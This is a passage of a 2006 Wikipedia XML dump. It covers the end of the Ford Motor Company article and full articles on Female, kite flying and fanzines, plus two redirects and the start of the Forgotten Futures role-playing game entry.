Ford was third to market with a [[hybrid car]] &amp;mdash; the [[Ford Escape Hybrid]], and the first to market with a Hybrid SUV / Crossover.  The Hybrid Escape will also be the first hybrid vehicle to market with a Flexible Fuel capability to run on [[E85]] ethanol-gasoline mixture [http://media.ford.com/article_display.cfm?article_id=22474].  The company is on track to selling 250,000 hybrids a year by [[2010]].

Ford hybrids:
* 2004&amp;ndash; [[Ford Escape Hybrid]]
* 2006&amp;ndash; [[Mercury Mariner]]
* 2008&amp;ndash; [[Ford Fusion]]/[[Mercury Milan]]
* 2009&amp;ndash; [[Ford Five Hundred]]/[[Mercury Montego]]
* 2009&amp;ndash; [[Ford Edge]]/[[Lincoln MKX]]

== Motorsports ==
[[Image:99officedepot-pr.jpg|right|thumb|160px|NASCAR driver [[Carl Edwards]] of [[Roush Racing]] stands by his Ford Taurus.]]
Ford has been active in a number of forms of motor sports. 

===NASCAR===
Ford is one of four manufacturers in the three [[NASCAR]] series: [[Nextel Cup]], [[Busch Series]], and [[Craftsman Truck Series]]. Major teams include [[Roush Racing]] and [[Robert Yates Racing]].  Ford's racing teams debut the [[Ford Fusion (North American)|Fusion]] race car, replacing the [[Ford Taurus|Taurus]], at the 2006 [[Daytona 500]].

===Champ Car World Series===
Ford-Cosworth is currently the sole supplier of engines to the Champ Car World Series.

===Trans-Am===
Ford has a storied history in the [[Trans-Am]] series from the 1970s through today having won many championships and races with its [[Ford Mustang]].   

===Drag racing===
John Force has piloted his Drag [[Ford Mustang]] to several [[NHRA]] funny-car titles in recent seasons.

===Indianapolis 500===
Ford powered racing cars have won the [[Indianapolis 500]] many times.

[[Image:Stewart gp barrichello 1998.jpg|right|thumb|160px|[[Rubens Barrichello]] driving for the [[Stewart Grand Prix]] team in 1998.]]
'''Formula One'''

Ford was heavily involved in [[Formula One]] for many years, and supplied engines to a large number of constructors from 1967 until 2004. These engines were designed and manufactured by [[Cosworth]], the racing division of which was owned by Ford from 1998 to 2004. Ford entered Formula One as a constructor in 2000 under the [[Jaguar Racing]] name, after buying out the [[Stewart Grand Prix]] team it had become increasingly involved in. The team achieved little success, and after a turbulent four seasons, Ford pulled out of F1 after the [[2004 Formula One season|2004 season]], selling both Jaguar Racing (which became [[Red Bull Racing]]) and Cosworth.[http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/default.stm]

===Rally===
Ford has also been active many years in the [[World Rally Championship]], and has used various versions of the [[Ford Focus WRC]] since 1999 to much success.  Ford has a very long history in rally racing, having previously run the [[Ford RS200]] and many versions of the [[Ford Escort]] to great success.

===Sports cars===
Ford sports cars have always been visible in the world of endurance racing.  Most notably the [[GT40]] won the prestigious 24 hours of LeMans many times in the 1960s and still stands today as one of the all-time greatest racing cars.

===Touring cars===
Ford has campaigned touring cars such as the [[Ford Focus|Focus]], [[Ford Falcon|Falcon]], and [[Ford Contour|Contour]]/[[Ford Mondeo|Mondeo]] and the [[Ford Sierra|Sierra]] [[Cosworth]] in many different series throughout the years.  Notably the Mondeo finished 1,2,3 in  the [[BTCC]] in 2000.

==References==
#Ford Motor Company. ''2003 Annual Report''. Rochester, New York:St Ives Inc Case-Hoyt. [http://www.ford.com/en/company/investorInformation/companyReports/annualReports/]
#{{note|fordhistory}} [http://www.ford.com/en/heritage/history/default.htm Ford Motor Company - History]
#{{note|jan23-washpost}} [http://www.washingtonpost.com/wp-dyn/content/article/2006/01/23/AR2006012300339.html Ford to Cut Thousands of Jobs and Close 14 Factories]. ''Washington Post''. [[January 23]] [[2006]].

==See also==
*[[List of Ford vehicles]]
*[[List of Ford factories]]
*[[List of Ford engines]]
*[[List of Ford platforms]]
*[[List of Ford VIN codes]]
*[[CEO of Ford Motor Company]]
*[[EPA 2004 fuel economy report appendix M2#Ford|EPA 2004 fuel economy report (Ford)]]
*[[Firestone vs Ford Motor Company controversy]]
*[[Dodge v. Ford Motor Company]]

==External links==
{{commonscat|Ford}}
*[http://www.ford.com/en/heritage/history/default.htm Ford Basic History site]
*[http://www.ford.com/en/heritage/centennial/default.htm Ford 100th Anniversary History Site]
*[http://www.ford.com/en/heritage/fordFamily/default.htm Ford Family - History]
*[http://www.ford.com/ Ford Motor Company Home Page]
*[http://www.fordvehicles.com/ Ford Vehicles Home Page]
*[http://www.forddirect.fordvehicles.com/ Ford Direct] - Get A Free Price Quote, Build Your Vehicle, Search Dealer Inventory, View Pricing Details, Compare Trims, See Latest Incentives And Offers
*[http://www.fordmuscle.com FORDMUSCLE.COM] - Webmagazine. High Performance Technical Content]
*[http://smartguide.fordvehicles.com/View.jsp?spaceName=Cars Ford Cars Smart Guide]
*[http://smartguide.fordvehicles.com/View.jsp?spaceName=SUVs Ford SUVs Smart Guide]
*[http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=105&amp;STORY=/www/story/07-27-2000/0001276963 Ford Commits to Major SUV Fuel Economy Gains]
*[http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=105&amp;STORY=/www/story/04-07-2004/0002147628 Ford Escape Hybrid Sets SUV Mileage Record in 37-Hour Non-Stop Driving Test on a Tank of Gas]
*[http://www.blueovalnews.com Blueovalnews.com a fan information site]
*[http://www.fordeurope.net FordEurope.net - independent portal site about Ford of Europe]
*[http://fordbelgium.forumactif.com/ Independent portal site about Ford of Belgium]
*[http://www.fordracing.com Ford Racing home page - Racing News and fan information site]
*[http://media.ford.com/article_display.cfm?article_id=22465 Bill Ford's ''The Way Forward'' speech text - 23 Jan 2006]
*[http://media.ford.com/article_display.cfm?article_id=22464 Mark Field's ''The Way Forward'' speech text - 23 Jan 2006]

{{Ford}}
{{Ford Motor Company}}

[[Category:1903 establishments]]
[[Category:Companies based in Michigan]]
[[Category:Emergency services equipment makers]]
[[Category:Family business]]
[[Category:Ford|Ford]]

[[ar:شركة فورد]]
[[cs:Ford Motor Company]]
[[da:Ford]]
[[de:Ford Motor Company]]
[[es:Ford Motor Company]]
[[fr:Ford]]
[[ko:포드 자동차 회사]]
[[hr:Ford]]
[[id:Ford Motor Company]]
[[it:Ford]]
[[he:פורד]]
[[nl:Ford]]
[[ja:フォード・モーター]]
[[no:Ford Motor Company]]
[[pl:Ford Motor Company]]
[[pt:Ford Motor Company]]
[[ru:Ford Motor Company]]
[[sr:Форд]]
[[fi:Ford]]
[[sv:Ford]]
[[th:ฟอร์ดมอเตอร์]]
[[tr:Ford]]</text>
    </revision>
  </page>
  <page>
    <title>Female</title>
    <id>11096</id>
    <revision>
      <id>41461081</id>
      <timestamp>2006-02-27T14:20:13Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.169.169.189|216.169.169.189]] ([[User talk:216.169.169.189|talk]]) to last version by Wayward</comment>
      <text xml:space="preserve">[[Image:Female.svg|right|thumb|120px|The mirror of the Roman Goddess [[Venus (mythology)|Venus]] is often used to represent the female sex.]]
{{otheruses}}
'''Female''' is the [[sex]] of an [[organism]], or a part of an organism, which produces [[ovum]] (egg cells). The ova are defined as the larger [[gamete]]s in a [[heterogamous]] reproduction system, while the smaller, usually [[motile]] gamete, the [[spermatozoon]] is produced by the [[male]]. A female individual  cannot reproduce [[sexual reproduction|sexually]] without access to the gametes of a [[male]]. Some organisms can reproduce both [[sexual reproduction|sexually]] and [[Asexual reproduction|asexually]].

There is no single genetic mechanism behind sex differences in different species, and the existence of two sexes seems to have [[evolution|evolved]] multiple times independently in different [[lineage (evolution)|evolutionary lineages]]. Other than the defining difference in the type of gamete produced, differences between males and females in one lineage cannot always be predicted by differences in another. The concept is not limited to [[animal]]s; egg cells are produced by [[chytrid]]s, [[diatom]]s, [[water mold]]s, and [[plant|land plants]], among others. In land plants, 'female' and 'male' designate not only the egg- and sperm-producing organisms and structures, but also the structures of the [[sporophyte]]s that give rise to male and female plants. 

==Sex determination==
{{main|Sex-determination system}}
The sex of a particular organism may be determined by a number of factors. These may be genetic or environmental, or may naturally change during the course of an organism's life. Although most species with male and female sexes have individuals that are either male or female,  [[hermaphrodite|hermaphroditic]] animals have both male and female reproductive organs.
===Genetic determination===
Most [[mammal]]s, including [[human]]s, are genetically determined as such by the [[XY sex-determination system]] where males have an XY (as opposed to XX) sex [[chromosome]]. During [[reproduction]], a male can give either an X sperm or a Y sperm, while a female can only give an X egg. A Y sperm and an X egg produce a [[boy]], while an X sperm and an X egg produce a [[girl]]. The [[WZ sex-determination system]], where males have a ZZ (as opposed to WZ) sex chromosome may be found in [[bird]]s and some [[insect]]s and other organisms. Members of [[Hymenoptera]], such as [[ant]]s and [[bee]]s, are determined by [[haplodiploidy]], where most males are [[haploid]] and females and some sterile males are [[diploid]].
===Environmental determination===
In some species of reptiles, including [[alligator]]s, sex is determined by the temperature at which the egg is incubated. Other species, such as some [[snail]]s, practice sex change: adults start out male, then become female. In tropical [[clown fish]], the dominant individual in a group becomes female while the other ones are male.

In some [[arthropod]]s, sex is determined by infection. [[Bacterium|Bacteria]] of the genus ''[[Wolbachia]]'' alter their sexuality; some species consist entirely of ZZ individuals, with sex determined by the presence of ''Wolbachia''.

==Mammalian Female==
The mammalian female is characterised by having two copies of the X chromosome as opposed to the male which carries only one X and one smaller Y chromosome. To compensate for the difference in size one of the female's X chromosomes is randomly inactivated in each cell. 
Conversely in birds it is the female who is heterozygote and carries a Z and a W chromosome whilst the male carries two Z chromosomes.

===Human Female===
In humans, there are several different components (in addition to genetics) to both biological [[sex]] and [[gender]] identity by which people assign the label &quot;female&quot;.

==Symbols==
A common symbol used to represent the female gender is &amp;#x2640; ([[Unicode]]: U+2640), a circle with a small cross underneath. This symbol also represents the planet [[Venus]] and is a stylized representation of the [[Venus (mythology)|goddess Venus']] hand mirror.

==See also== 
* [[Feminine side]]
* [[Male]]
* [[Sex-determination system]]
* [[Woman]] and [[girl]],  female [[human]]s
*[[Mammal]]
*[[Hermaphrodite]]
*[[Secondary sex characteristic]]
*[[Gestation]]

{{wiktionary}}

[[Category:Gender]]

[[ca:Femella]]
[[de:Weiblich]]
[[eo:femalo]]
[[es:Hembra]]
[[fr:Femelle]]
[[gd:Boireannach]]
[[he:נקבה]]
[[ja:メス]]
[[pl:Samica]]
[[pt:Feminino]]
[[ru:Самка]]
[[simple:Female]]
[[sk:Samica]]
[[su:bikang]]
[[fi:Naaras]]
[[zh:雌性]]</text>
    </revision>
  </page>
  <page>
    <title>Frisian language/vocabulary</title>
    <id>11097</id>
    <revision>
      <id>15908862</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>130.94.122.xxx</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Frisian language]]</text>
    </revision>
  </page>
  <page>
    <title>Frisian language/history</title>
    <id>11098</id>
    <revision>
      <id>15908863</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>130.94.122.xxx</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Frisian language]]</text>
    </revision>
  </page>
  <page>
    <title>Kite flying</title>
    <id>11100</id>
    <revision>
      <id>41970055</id>
      <timestamp>2006-03-02T23:23:37Z</timestamp>
      <contributor>
        <username>Sysin</username>
        <id>55969</id>
      </contributor>
      <comment>/* Practical &amp; cultural uses */</comment>
      <text xml:space="preserve">[[Image:yokaichi01.jpg|thumb|250px|right|Yokaichi Giant Kite Festival held on the fourth Sunday every May in [[Higashiomi, Shiga]], Japan.]]
'''Kite flying''' is the activity of flying kites.
In  this context a '''kite''' is a light, man-made object designed to fly in [[wind]]. The necessary [[Lift (force)|lift]] that makes the kite fly is generated when the kite deflects a portion of the wind downwards. In addition to the lift, this deflection generates horizontal [[drag]] along the direction of the wind. This drag is opposed with the tension of one or more [[rope|lines]] held by the operator of the kite. Kites held with more than one line can be steered by pulling the different lines with different strength.

In addition to kites that are mainly designed for the purpose of flying themselves there are [[power kite|power kites]] or traction kites. These are designed to generate substantial excess lift and a pull that can be applied in related activities such as [[kite surfing]], [[kiteboarding]] or [[kite buggying]].

==Technology==
[[image:kites.jpg|thumb|200px|right|These kites are about 50 feet long each. The rainbow-colored wind sock near the bottom of the picture spins like a turbine.]]

Kite flying requires lightweight, but strong [[twine]], as well as paper or tightly-woven cloth. Kites typically consist of one or more spars (sticks) that hold a sail of [[fabric]] taut. Classic kites use [[bamboo]], [[rattan]], or other strong but flexible [[wood]] for the spars, and use paper or light fabrics such as [[silk]] for the sails. Many modern kites use synthetic materials, such as [[nylon]] or more exotic fabrics for the sails, and [[fiberglass]] or [[Graphite-reinforced plastic|carbon fiber]] for the spars.

Chinese kite designs often emulate flying insects, birds, and other beasts, both real and mythical. The finest Chinese kites are made from split bamboo (usually golden bamboo), covered with silk, and hand painted. On larger kites, clever hinges and latches allow the kite to be disassembled and compactly folded for storage or transport. Cheaper kites are often made from printed [[polyester]] rather than silk.

Kites flown by children are often the of [[geometric kite|geometric]] type.  Kites can be designed with many different shapes, forms ,and sizes. They can take the form of historic flat geometric designs, box kites and other aerodynamic forms, or modern sparless inflatable designs.  

[[image:squids.jpg|thumb|200px|left|These kites are shaped like an octopus and squid and are more than 40 feet long.]]


Modern acrobatic kites use more than one line to allow fine control of the kite's angle to the wind.  

A recent addition to the kite family is the [[rotorkite]]. This type of kite consists of a rotor or rotors much like the rotors found on [[helicopter]]s and [[autogiro]]s. In a proper wind the rotors spin and create lift. This type of kite requires two control lines, one for each hand.
 
===Practical &amp; cultural uses===
Kites have been used militarily in the past, both for delivery of messages and munitions, and for observation, by lifting an observer above the field of battle, and by using [[kite aerial photography]]. 

Kites have also been used for scientific purposes, such as [[Benjamin Franklin]]'s famous (but dangerous) experiment proving that [[lightning]] is [[electricity]]. Kites were the precursors to aircraft, and were instrumental in the development of early flying craft. [[Alexander Graham Bell]] experimented with very large man-carrying kites, as did the [[Wright brothers]].

Kite flying is very popular in [[China]], [[Japan]], [[India]], [[Thailand]], and many other countries. In some countries, 'kite fights' are held, in which kite fighters try to snag each other's kites or cut other kites down. In [[Afghanistan]] this is known as ''Gudiparan Bazi.'' Some kite fighters pass their strings through a mixture of ground glass powder and glue. The resulting strings are very abrasive and can sever the competitor's strings. However, this practice is dangerous since the abrasive strings can also injure people.

In recent years, multi-line kite flying has developed into a [[sport kite|sport]], with competitions for precision flying and for the artistic interpretation of music.
[[image:1O20.jpg|333px|thumb|]]
Kite festivals are also held where kites from around the world are displayed in the sky.  This picture shows a Chinese dragon kite more than one hundred feet long which flew in the annual [[Berkeley, California]], kite festival in 2000.

The Indian festival of [[Makar Sankranti]] is devoted to kite flying in some areas. This spring festival is celebrated every January 14 (or January 15 on leap years), with millions of people flying kites all over northern [[India]]. The festival is a public holiday in the state of [[Gujarat]].

In [[Greece]], flying kites is a tradition for [[Clean Monday]], the first day of [[lent]].

During the [[taliban]] rule in Afghanistan, kite flying was banned among various other recreations.

==Types of Kites==
*[[flat kite]]
*[[bowed kite]]
*[[Box kite|cellular or box kite]]
*[[geometric kite|diamond or 'geometric' kite]]
*[[scott sled]] (Includes construction directions!)
*[[rogallo wing]]
*[[power kite]]
*[[tetrahedral kite]]
*[[airfoil kite]]
*[[lantern kite]]
*[[weather kite]]
*[[trick kite]]
*[[stunt kite]]
*[[kite tugs]]
*[[rotorkite]]
*[[Indoor Kites]]
*[[Rotating Kites]]

==External links==
{{Commons|Kite}}
*[http://www.aka.kite.org/ American Kitefliers Association]
*[http://www.dynamickites.co.uk/ Buy a kite online at dynamickites.co.uk]
*[http://www.haryana-online.com/kite_flying.htm Fighter kites of India]
*[http://kitehistory.com KiteHistory.com]
*[http://quake.wr.usgs.gov/kap/carrizo/ Processed results of kite aerial photography - USGS San Andreas Fault]
*[http://www.kitefliers.com/ Kitefliers]
*[http://coda.co.za/kites_and_kite_flying/ Kites and Kite Flying]
*[http://www.afghana.com/Entertainment/Gudiparanbazi.htm Gudiparan Bazi]
*[http://www.grc.nasa.gov/WWW/K-12/airplane/shortk.html Kite Index]
*[http://photoguide.jp/pix/index.php?cat=10 Giant Kite Festival in Higashi-Omi (Yokaichi), Japan]
*[http://photoguide.jp/pix/thumbnails.php?album=52 Giant Kite Festival in Saitama, Japan]
*[http://photoguide.jp/pix/thumbnails.php?album=59 Giant Kite Festival in Sagamihara, Japan]
*[http://photoguide.jp/pix/thumbnails.php?album=58 Giant Kite Festival in Zama, Japan]
*[http://www.travelrogue.com/archives/2005/05/laddie_the_kite.html Kite Artist]
*[http://www.kites.org/zoo/ The Virtual Kite Zoo]
*[http://www.vientocero.com/kpb/ Kite Plan Base]
*[http://www.thekitesociety.org.uk The Kite Society of Great Britain]
*[http://www.steadywinds.com Bill Wilson's personal kite blog, kite building information and news]
*[http://www.best-breezes.squarespace.com Bob White's Kite history site and personal kite journal]
*[http://www.flickr.com/groups/kiteaerialphotography/ Flickr Kite Aerial Photography group]
*[http://www.kitebuilder.com/forums/ Kitebuilder.com forums - excellent kite building resource]
*[http://www.fracturedaxel.co.uk/ Fractured Axel - A Friendly UK based kite forum for sport/freestyle flying]

*[http://en.wikinews.org/wiki/Pakistan_bans_kite_flying Pakistan bans kite flying - WikiNews Dec 2005]
=== See also ===

* [[Kite surfing]]
* [[Kite buggying]]
* [[Kiteboarding]]
* [[Windsports]]
* [[Fishing#Kite fishing|Kite fishing]]

[[Category:Kites|*]]

[[ar:طائرة ورقية]]
[[an:Milorcha]]
[[ca:Milotxa]]
[[da:Drage (menneskeskabt)]]
[[de:Drachen]]
[[es:Cometa (juego)]]
[[eo:Kajto]]
[[fr:Cerf-volant]]
[[gl:Papaventos]]
[[ko:연날리기]]
[[io:Kaito]]
[[it:Aquilone]]
[[he:עפיפון]]
[[nl:Vliegeren]]
[[ja:凧]]
[[pl:Latawiec (lotnictwo)]]
[[pt:Pipa (brinquedo)]]
[[sl:Spuščanje zmajev]]
[[zh:风筝]]</text>
    </revision>
  </page>
  <page>
    <title>Fanzine</title>
    <id>11101</id>
    <revision>
      <id>41290232</id>
      <timestamp>2006-02-26T08:45:03Z</timestamp>
      <contributor>
        <ip>72.13.131.85</ip>
      </contributor>
      <comment>/* Punk fanzines */</comment>
      <text xml:space="preserve">A '''fanzine''' (see also: [[zine]]) is a nonprofessional publication produced by [[fan (aficionado)|fan]]s of a particular subject for the pleasure of others who share their interest. The term was coined in October [[1940]] by [[Russ Chauvenet]] and first popularized within [[science fiction fandom]], although [[self-publishing|self-published]] fanzine-like publications did not originate with science fiction fandom.

Fanzines are not funded or subsidized by commercial or public entities; publishers, editors and contributors receive no financial compensation. Fanzines are traditionally circulated for at most a nominal cost to defray postage or production expenses, in exchange for similar publications, or contributions for publication [art, articles, letters of comment (LoCs), etc.], or free of charge to any interested parties. 

Some fanzines have evolved into professional publications, and many professional writers were first published in fanzines and even contributed to them after establishing a professional reputation. The term fanzine has, in recent times, come to be confused with &quot;[[fan magazine]]&quot;, but the latter term refers to professionally-produced media intended for fan consumption.

==Origin==

The origins of &quot;fanzines&quot; are obscure, but can be traced at least back to 19th-century literary groups in the [[United States]] which formed [[amateur press association]]s to publish collections of amateur fiction, poetry and commentary. These publications were produced first on small tabletop [[printing press]]es, often by students. 

As professional printing technology progressed, so did the technology of fanzines. Early fanzines were hand-drafted or typed on a manual [[typewriter]] and printed using primitive reproduction techniques (e.g., the [[spirit duplicator]] or even the [[hectograph]]). Only a very small number of copies could be made at a time, so circulation was extremely limited. The use of [[mimeograph machine]]s enabled higher press runs, and the [[photocopier]] increased the speed and ease of publishing once more. Today, thanks to the advent of [[desktop publishing]] and [[self-publishing|self-publication]], there is often little difference between the appearance of a fanzine and a professionally produced [[magazine]].

==Genres==

===Science fiction fanzines===

The first science fiction fanzine, ''The Comet'', was published in [[1930]] by the [[Science Correspondence Club]] in [[Chicago, Illinois|Chicago]]. The term &quot;fanzine&quot; was coined by [[Russ Chauvenet]] in the October 1940 edition of his fanzine Detours. &quot;Fanzines&quot; were distinguished from &quot;prozines,&quot; (a term Chauvenet also invented): that is, all professional [[magazine]]s. Prior to that, the fan publications were known as &quot;fanmags&quot; or &quot;letterzines.&quot; 

These magazines used a variety of printing methods prior to the commercialization of the [[photocopier]], let alone the computer printer, even a dot-matrix printer. The [[hectograph]] could produce a hundred copies by laying each page atop a tray of gelatin. The [[ditto machine]], whose printing is purple, smells of hydrocarbons, and fades with exposure to light, was the next cheapest. But it was the true [[mimeograph]] machine, which forced ink through a wax paper stencil cut by the keys of a typewriter, which became the main standard. Shaded pictures, such as is customarily done by [[photolithography]], could not be printed by any of these means. And true printing, with a pieces of type and a press, was the most expensive of all and was quite rare. In the 1960s, before there were machines in libraries and specialty shops, the first fanzine to be &quot;printed&quot; by surreptitiously photocopying its pages in an office was considered amazing. 

The means of printing affected the style of writing. For example, there were alphanumeric contractions which are actually precursors to &quot;[[leet]]-speak.&quot; The best-known example is the &quot;initials&quot; used by [[Forrest J. Ackerman]] in his fanzines, namely &quot;4SJ.&quot; 

As mentioned above, fanzines did not originate in [[science fiction fandom]], although the term did. Never commercial enterprises, most [[science fiction fanzine]]s were (and many still are) available for &quot;the usual,&quot; meaning that a sample issue will be mailed on request; to receive further issues, a reader sends a &quot;letter of comment&quot; (LoC) about the fanzine to the editor. The LoC might be published in the next issue: some fanzines consisted almost exclusively of letter columns, where discussions were conducted in much the same way as they are in internet [[newsgroup]]s and [[mailing list]]s today, though at a relatively glacial pace.

For several decades, [[science fiction]] fans have formed [[amateur press association]]s (APAs); the members contribute to a collective assemblage or bundle that contains contributions from all of them, called [[apazines]]. Some APAs are still active, and some are published as virtual &quot;e-zines,&quot; distributed on the [[internet]].

For additional information on specific science fiction fanzines and fanwriters, see: separate articles on [[David Langford]] (writer/editor of ''Ansible''), [[Emerald City (magazine)|Cheryl Morgan]] (''Emerald City''), [[Plokta|Alison Scott, Steve Davies and Mike Scott]] (''Plokta''), [[File 770|Mike Glyer]] (''File 770''), [[Mimosa (magazine)|Richard and Nicki Lynch]], (''Mimosa''), and [[Christopher J. Garcia]] (''The Drink Tank''). Many artists working for fanzines have risen to prominence in the field, including [[Joe Mayhew]], [[Brad W. Foster]], [[Teddy Harvia]], [[Ian Gunn]] and [[Frank Wu]].  Specific [[Hugo Award]]s are given for [[Hugo Award for Best Fanzine|fanzines]], [[Hugo Award for Best Fan Writer|fan writing]] and [[Hugo Award for Best Fan Artist|fanart]].

===Comics and Graphic Arts fanzines===

Comic book collectors and afficionados began to produce fanzines in the early 1960s: ''Alter Ego,'' devoted to costumed heroes, began in 1961, and is sometimes cited as the first comics fanzine. Other early comics fanzines included ''AE, Comic Art,'' and ''Xero.'' The zines were instrumental in creating the culture of comic fandom: conventions, collecting, etc. 

Comics fanzines often include fan artwork based on existing characters as well as discussion of the history of comics.

In Britain, there have since 2001 been created a number of fanzines pastiching children's comics of the 1970s and '80s (eg ''[[Solar Wind (comic)|Solar Wind]]'', ''[[Pony School]]'', etc).  These adopt a style of storytelling rather than specific characters from their sources, usually with a knowing or [[irony|ironic]] twist.

===Rock fanzines===

By the mid-1960s, several fans active in SF or Comic fandom recognized a shared interest in rock music, and the rock fanzine was born.  [[Paul Williams (Crawdaddy! creator)|Paul Williams]] and [[Greg Shaw]] were two such SF-fans turned rock zine editors. Williams' ''[[Crawdaddy!]]'' (1966) and Shaw's two California-based zines, ''Mojo Navigator'' (full title, &quot;''Mojo-Navigator Rock and Roll News''&quot;) (1966) and ''[[Who Put the Bomp]]?'', (1970), are among the most important early rock fanzines. 

''[[Crawdaddy!]]'' (1966) quickly moved from its fanzine roots to become one of the first rock music &quot;prozines,&quot; with paid advertisers and newsstand distribution. ''Bomp'' remained a fanzine, featuring many writers who would later become prominent music journalists, including [[Lester Bangs]], [[Greil Marcus]], [[Ken Barnes]], [[Ed Ward]], [[Dave Marsh]], [[Mike Saunders]] and [[Richard Meltzer | R. Meltzer]].  ''Bomp'' featured cover art by Jay Kinney and Bill Rotsler, both veterans of SF and Comics fandom.  &quot;Bomp&quot; was not alone; an August 1970 issue of ''[[Rolling Stone]]'' included an article about the explosion of rock fanzines. Other rock fanzines of this period include ''Flash,'' 1972, edited by Mark Shipper, and ''Bam Balam,'' written and published by Brian Hogg in East Lothian, Scotland, beginning in 1974, and in the mid-1970s, [[Back Door Man (fanzine)|Back Door Man]] and [[Denim Delinquent]]. 

In the post-punk era several well-written fanzines emerged that cast an almost academic look at earlier, neglected musical forms, including Mike Stax' [[Ugly Things]], Billy  Miller &amp; Miriam Linna's [[Kicks]], Jake Austen's [[Roctober]][http://www.roctober.com/roctober/], Kim Cooper's [[Scram]], P. Edwin Letcher's [[Garage &amp; Beat]], and the U.K.'s [[Shindig]] and Italy's [[Misty Lane]].

===Punk fanzines===
&lt;i&gt;Main article: [[Punk zine]]&lt;/i&gt;

The [[punk culture|Punk]] explosion in the [[United Kingdom]] led to a massive upsurge of interest in fanzines as an alternative to the mainstream media that was felt to be too [[exploitation|exploitative]], [[capitalist]], and essentially uninterested in the Punk Movement and the concerns of disaffected youth. The first and perhaps still best known UK '[[punkzine]]' was ''[[Sniffin' Glue]]'', produced by [[Deptford, London|Deptford]] punk fan [[Mark Perry]], which ran for 12 issues between [[1976]] to [[1977]]. Other UK fanzines included [[Blam!]], [[New Crimes]], [[Vague fanzine]], [[Juniper beri-beri]] and [[Coolnotes]]. 

In the US, [[Flipside (fanzine)|Flipside]] and [[Slash (fanzine)]] were important punk fanzines for the LA scene, both debuting in 1977. Among later titles, ''[[Maximum RocknRoll]]'' is a major punk zine, with over 250 issues published. As a result, in part, of the popular and commercial resurgence of punk in the late 1980s and after, with the growing popularity of such bands as [[Sonic Youth]], [[Nirvana]], [[Fugazi]], [[Bikini Kill]], [[Green Day]] and the [[Offspring]], a number of other punk zines have appeared, such as ''[[Punk Planet]], [[Razorcake Magazine]], [[Sobriquet Magazine]]'' and ''[[Slug and Lettuce (fanzine)|Slug and Lettuce]].''  The early American punkzine ''[[Search and Destroy]]'' eventually became the influential fringe-cultural magazine ''[[Re/Search]]''.

In the UK [[Fracture (fanzine)|Fracture]] and [[Reason To Believe (fanzine)|Reason To Believe]] have been the main fanzines in the recent past, but both closed their doors in late 2003. Though not technically a 'national' fanzine [[Rancid News]] has to a limited degree filled the gap left by these two zines.

===Role-playing fanzines===

Another sizable group of fanzines arose in [[role-playing game]] (RPG) fandom, where fanzines allowed people to publish their ideas and views on specific games and their [[role-playing campaigns]]. Role-playing fanzines allowed people to communicate in the [[1970s]] and [[1980s]] with complete editorial control in the hands of the players, as opposed to the game publishers. These early RPG fanzines were generally typed, sold in an A5 format (in the UK) and were usually illustrated with abysmal or indifferent artwork. 

A fanzine community developed and was based on sale to a reading public and exchanges by editor/publishers. Many of the pioneers of RPG zinedom got their start in, or remain part of, [[science fiction fandom]]. This is also true of the small but still active [[board game]] fandom scene, the most prolific subset of which is centered around [[play-by-mail game|play-by-mail]] [[Diplomacy game|Diplomacy]].

=== Sport ===

In the [[UK]], most [[Premiership]] or [[The Football League|Football League]] [[football (soccer)|football]] clubs have one or more fanzines which supplement, oppose and complement the club's official magazine or matchday programme. A reasonably priced 'zine has a guaranteed audience, as is the culture of passion in being a football fan. Examples of UK football fanzines include [[TOOFIF]], [[Oxtales]], [[4000 Holes]] and [[War of the Monster Trucks]] (a Sheffield Wednesday Fanzine named after a local TV station elected not to show the final scenes of an unlikely cup victory) a download can be found at the [http://www.sheffieldwednesday.com SheffieldWednesday.com] site .

==Recent developments==

In recent years the traditional paper zine has begun to give way to the [[webzine]] (or &quot;e-zine&quot;) that is easier to produce and uses the potential of the Internet to reach an ever larger, possibly global, audience. Nonetheless, printed fanzines are still produced, either out of preference or to reach people who don't have convenient Web access. One example of a zine is [[The Inner Swine]].  Online versions of approximately 200 [[science fiction fanzine]]s will be found at the [http://www.efanzines.com eFanzines] site, along with links to other [[science fiction fanzine|SF fanzine]] sites.

==See also==
*[[British small press comics]]
*[[Desktop Publishing]]
*[[Literature]]
*[[List of black metal fanzines]]
*[[Printing]]
*[[Publishing]]
*[[Science Fiction Fandom]]
*[[Fandom]]
*[[Weblog]]
*[[Writing]]
*[[Alt.zines]]
*[[Fanposter]]

==External links==
*[http://www.jessesword.com/sf/view/186 Citations for &quot;fanzine&quot; collected by the Oxford English Dictionary]
*[http://www.rehupa.com/apa_hist.htm  Origins of the amateur press associations]
*[http://fanac.org/fanzines/ Historic science fiction fanzines at Fanac.org]
*[http://www.asimovs.com/_issue_0501/thoughtexperiments.shtml An article by critic Roger Ebert describing his involvement with science fiction fanzines in the 1950s.]
*[http://scrammagazine.com/shaw.html An interview with Bomp! publisher Greg Shaw discussing his experience as a teenage SF fanzine and rock zine publisher, and the evolution of zines through the '90s.]
*[http://www.garageandbeat.com/ Garage &amp; Beat]
*[http://www.roctober.com/ Roctober]
*[http://www.skipwilliamson.com/UndergroundComix.html The Underground Comix movement began as a network of fanzines.]
*[http://www.zinebook.com Zinebook.com] Guide to creating your own fanzine or webzine, based on The Book of Zines by Chip Rowe.

[[Category:Fandom]]
[[Category:Fanzines|*]]
[[Category:Zines]]

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    </revision>
  </page>
  <page>
    <title>Forgotten Futures</title>
    <id>11102</id>
    <revision>
      <id>38820494</id>
      <timestamp>2006-02-08T21:37:19Z</timestamp>
      <contributor>
        <username>Genesis</username>
        <id>72450</id>
      </contributor>
      <comment>added infobox</comment>
      <text xml:space="preserve">{{Infobox RPG
|title= Forgotten Futures
|image= 
|caption= 
|designer= [[Marcus L. Rowland]]
|publisher= None
|date= ''Unknown''
|genre= [[Victorian era|Victorian]] [[science fiction]] and [[fantasy]]
|system= Custom
|footnotes= 
}}
'''Forgotten Futures''' is a [[role-playing game]] created by [[Marcus L. Rowland]] to allow people to play in settings inspired by the early days of [[Victorian era|Victorian]] [[science fiction]] and [[fantasy]].

